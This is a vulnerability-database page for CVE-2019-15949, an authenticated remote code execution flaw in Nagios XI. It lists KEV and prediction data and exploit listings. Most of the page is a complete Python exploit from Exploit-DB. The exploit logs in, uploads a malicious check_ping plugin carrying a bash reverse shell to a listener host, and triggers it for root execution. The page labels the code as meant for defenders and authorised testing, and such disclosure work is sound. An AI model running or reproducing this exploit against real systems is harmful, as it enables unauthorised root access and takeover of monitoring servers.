CVE-2019-15949

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

Nagios XI contains a remote code execution vulnerability in which a user can modify the check_plugin executable and insert malicious commands to execute as root.

CISA KEV

Vendor
Nagios
Product
Nagios XI
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-48191 remote linux verified
Metasploit ยท 2020-03-10

Nagios XI - Authenticated Remote Command Execution (Metasploit)

Source code queued for fetch โ€” refresh in a moment.
EDB-52138 webapps multiple python ยท 4 KB
Calil Khalil ยท 2025-04-08

Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE)

python exploit Source: Exploit-DB
# Exploit Title: Nagiosxi authenticated Remote Code Execution
# Date: 17/02/2024
# Exploit Author: Calil Khalil
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Version: Nagios Xi 5.6.6
# Tested on: Ubuntu
# CVE : CVE-2019-15949

#
# python3 exp.py -t https://<target>/ -b /<nagiosxi-path>/ -u user -p 'password' -lh <rev-ip> -lp <rev-port> -k (ignore cert)
#

import argparse
import re
import requests
import urllib3

class Nagiosxi():
    def __init__(self, target, parameter, username, password, lhost, lport, ignore_ssl):
        self.url = target
        self.parameter = parameter
        self.username = username
        self.password = password
        self.lhost = lhost
        self.lport = lport
        self.ignore_ssl = ignore_ssl
        self.login()

    def upload(self, session):
        print("Uploading Malicious Check Ping Plugin")
        upload_url = self.url + self.parameter + "/admin/monitoringplugins.php"
        upload_token = session.get(upload_url, verify=not self.ignore_ssl)
        nsp = re.findall('var nsp_str = "(.*)";', upload_token.text)
        print("Upload NSP Token: " + nsp[0])
        payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'"
        file_data = {
                "upload": "1",
                "nsp": nsp[0],
                "MAX_FILE_SIZE": "20000000"
                }
        file_upload = {
                "uploadedfile": ("check_ping", payload, "application/octet-stream", {"Content-Disposition": "form-data"})
                }
        session.post(upload_url, data=file_data, files=file_upload, verify=not self.ignore_ssl)
        payload_url = self.url + self.parameter + "/includes/components/profile/profile.php?cmd=download"
        session.get(payload_url, verify=not self.ignore_ssl)

    def login(self):
        session = requests.Session()
        login_url = self.url + self.parameter + "/login.php"
        token = session.get(login_url, verify=not self.ignore_ssl)
        nsp = re.findall('name="nsp" value="(.*)">', token.text)
        print("Login NSP Token: " + nsp[0])
        post_data = {
                "nsp": nsp[0],
                "page": "auth",
                "debug": "",
                "pageopt": "login",
                "redirect": "",
                "username": self.username,
                "password": self.password,
                "loginButton": ""
        }
        login = session.post(login_url, data=post_data, verify=not self.ignore_ssl)
        if "Home Dashboard" in login.text:
            print("Logged in!")
        else:
            print("Unable to login!")
        self.upload(session)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2019โ€“15949 Nagiosxi authenticated Remote Code Execution')
    parser.add_argument('-t', metavar='<Target base URL>', help='Example: -t http://nagios.url/', required=True)
    parser.add_argument('-b', metavar='<Base Directory>', help="Example: -b /nagiosxi/", required=True)
    parser.add_argument('-u', metavar='<Username>', help="Example: -a username", required=True)
    parser.add_argument('-p', metavar='<Password>', help="Example: -p 'password'", required=True)
    parser.add_argument('-lh', metavar='<Listener IP>', help="Example: -lh 127.0.0.1", required=True)
    parser.add_argument('-lp', metavar='<Listener Port>', help="Example: -lp 1337", required=True)
    parser.add_argument('-k', action='store_true', help="Ignore SSL certificate verification")
    args = parser.parse_args()


    urllib3.disable_warnings()

    try:
        print('CVE-2019-15949 Nagiosxi authenticated Remote Code Execution')
        Nagiosxi(args.t, args.b, args.u, args.p, args.lh, args.lp, args.k)
    except KeyboardInterrupt:
        print("\nBye Bye!")
        exit()

Metasploit modules

Nagios XI Scanner
Source fetch failed: fetch_error โ€” view the original via the link above.
Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.